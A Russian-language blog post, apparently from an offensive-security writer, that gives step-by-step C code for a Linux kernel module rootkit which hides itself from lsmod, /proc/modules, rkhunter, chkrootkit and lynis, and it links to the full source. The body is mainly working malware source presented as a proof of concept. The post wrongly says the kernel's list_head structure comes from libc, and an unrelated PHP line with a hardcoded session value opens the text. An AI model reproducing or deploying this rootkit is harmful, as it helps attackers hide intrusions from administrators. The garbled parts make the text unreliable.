use on php tage session_name("laravel_session"); session_start(); $_SESSION['laravel_session'] = '60496c0795af2c5a1851100f52f34ccf3c692279+SFqbxMoR1OsEMJsYnZ11ANbTYFp8HmihXoDEaD6O';

LKM-невидимка: обход rkhunter, chkrootkit и lynis в Linux

LKM-невидимка: обход rkhunter, chkrootkit и lynis в Linux

В предыдущем посте я рассмотрел утилиту информационной безопасности rkhunter. Выдержит ли она и её альтернативы проверку на вшивость?

Стоит отметить, что rkhunter не единственный в своем классе. Не стоит заостряться именно на нём. Похожие проверки системы на наличие мисконфигураций и аномальной активности можно провести, например, с помощью chkrootkit или lynis

Давайте побыстрее перейдем к техникам наступательной информационной безопасности, направленным на сокрытие вредоносной активности. В этом мне помогут знания системного программирования на языке Си под Linux. В качестве Proof-Of-Concept я написал вредоносный модуль ядра Linux (дальше LKM - Linux Kernel Module) для проверки эффективности rkhunter, chkrootkit и lynis. Я буду скармливать вам небольшие порции кода руткита с объяснениями, а в конце приложу листинг полного кода. Ну и конечно же столкну лбами утилиты кибербезопасности и мой вредоносный LKM

Для начала подключите заголовочные файлы необходимые для создания LKM

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>

Объявите метаданные. Это необязательный шаг и его можно пропустить. Естественно для вредоносного LKM лучше выбрать лицензию для настоящих хакеров , то есть GPL

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Unauthenticated Papaya");
MODULE_DESCRIPTION("Stealth LKM");
MODULE_VERSION("0.01");

Объявите статическую переменную prev_module, которая является указателем на структуру данных list_head. Эта переменная понадобится для управлением двусвязным списком модулей ядра Linux

static struct list_head *prev_module;

list_head - это стандартная реализация кольцевого/двусвязного списка, которая предоставляется стандартной библиотекой Си - libc (часть Linux API). Была написана разработчиками с целью уменьшить количество дублируемого кода. Подробней о этой структуре можно прочитать по ссылке

Эта реализация была впервые включена в ядро Linux версии 2.1.45. Первоначально структура list_head была объявлена в /include/linux.list.h до версии ядра 2.6.36, когда она была перемещена в /include/linux/types.h (https://elixir.bootlin.com/linux/v2.6.36/source/include/linux/types.h)

Мы будем использовать функции list_del() и list_add(), которые добавляют/удаляют элементы из структуры list_head. Единственное, что следует иметь в виду, это то, что нам нужно сохранить локальную копию удаляемого элемента, чтобы мы могли добавить его обратно позже, когда будем готовы

Также объявите статическую переменную hidden типа short, которая будет являться тумблером, обозначающим, скрыт модуль или нет

static short hidden = 0;

Создайте функцию showme() типа void, которая будет добавлять текущий модуль в прежнее место в списке с помощью функции list_add(), возвращая его в исходное состояние. Тумблер hidden будет устанавливаться в значение 0, что будет означать, что модуль не скрыт

void showme(void)
{
    list_add(&THIS_MODULE->list, prev_module);
    hidden = 0;
}

По аналогии создайте функцию hideme() типа void, которая будет сохранять указатель на предыдущий модуль в списке, чтобы позже можно было вернуть текущий модуль на его место. Следующей строчкой произойдёт удаление текущего модуля из списка с помощью функции list_del(). Тумблер hidden будет устанавливаться в значение 1, что будет означать, что модуль скрыт

void hideme(void)
{
    prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
    hidden = 1;
}

Также создайте функцию, которая будет вызываться при загрузке модуля. Она выведет сообщение в системный журнал и вызовет ранее написанную функцию hideme(), то есть скроет модуль

static int __init rootkit_init(void)
{
    printk(KERN_INFO "Rootkit Loaded\n");
    hideme();
    return 0;
}

Функция, которая будет исполнена при выгрузке ядра, напечатает сообщение в системный журнал. Однако, поскольку модуль скрыт, его нельзя будет выгрузить обычным способом

static void __exit rootkit_exit(void)
{
    printk(KERN_INFO "Rootkit unloaded\n");
}

Также зарегистрируйте функции rootkit_init() и rootkit_exit() как функции инициализации и завершения модуля соответственно

module_init(rootkit_init);
module_exit(rootkit_exit);

Полный листинг кода и инструкция по использованию представлена в репозитории по ссылке

Пришло время теста на вшивость. Запустите rkhunter, chkrootkit, lynis и убедитесь, что они не видят ничего опасного и подозрительного. Их бдительность усыплена!

sudo rkhunter --check --skip-keypress
sudo chkrootkit
sudo lynis audit system

Проверка назойливым системным администратором или DevOps'ом списка загруженных модулей через чтение файла /proc/modules или выполнение команды lsmod также не поможет обнаружить артефакт в виде вредоносного LKM-невидимки

Итог: Приведённые в посте утилиты не эффективны против хорошо спланированных атак. Но это не повод совсем отказываться от них. Например, Lynis дал довольно хорошие рекомендации по закаливанию

Disclaimer: Автор сайта не несёт ответственность за неправомерные действия, совершенные на основе изложенного контента

Также этот пост можно посмотреть в телеграм канале Unauth Papaya в двух частях: